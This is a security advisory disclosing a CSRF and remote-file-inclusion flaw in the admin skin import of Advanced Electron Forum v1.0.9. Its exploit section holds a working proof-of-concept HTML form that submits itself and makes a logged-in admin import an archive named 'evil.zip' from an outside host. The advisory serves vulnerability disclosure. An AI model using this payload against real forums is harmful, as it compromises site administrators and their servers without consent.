Advanced Electron Forum v1.0.9 RFI / CSRF

[hyp3rlinx@xxxxxxxxx]

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-RFI.txt



Vendor:
=============================
www.anelectron.com/downloads/



Product:
================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.


Vulnerability Type:
============================
Remote File Inclusion / CSRF



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

In Admin control panel there is option to Import Skins and one choice is using 
a web URL.

From AEF:

"Specify the URL of the theme on the net. The theme file must be a compressed 
archive (zip, tgz, tbz2, tar)."

However there is no CSRF token or check made that this is a valid request made 
by the currently logged in user, resulting
in arbitrary remote file imports from an attacker if the user visits or clicks 
an malicious link. Victims will then be left
open to arbitrary malicious file downloads from anywhere on the net which may 
be used as a platform for further attacks...



Exploit code(s):
===============

<form id="EL-DOWNLOADO" 
action="http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=skin&seadact=import"
 method="post">
<input type="hidden" name="folderpath" value="../" />
<input type="hidden" name="importtype" value="2" />
<input type="hidden" name="weburl" 
value="http://hyp3rlinx.altervista.org/evil.zip"; />
<input type="hidden" name="filepath" value="../" />
<input type="hidden" name="uploadtheme" value="" />
<input type="hidden" name="importskin" value="Import" />
<script>document.getElementById('EL-DOWNLOADO').submit()</script>
</form>

  



Disclosure Timeline:
======================================
Vendor Notification:  NA
January 17, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===============
High



Description:
==================================================================


Request Method(s):         [+] POST


Vulnerable Product:        [+] Advanced Electron Forum v1.0.9 (AEF)
 


==================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and that due credit is given. 
Permission is explicitly given for insertion in vulnerability databases and 
similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained 
herein and prohibits any malicious use of all security related information or 
exploits by the author or elsewhere.

by hyp3rlinx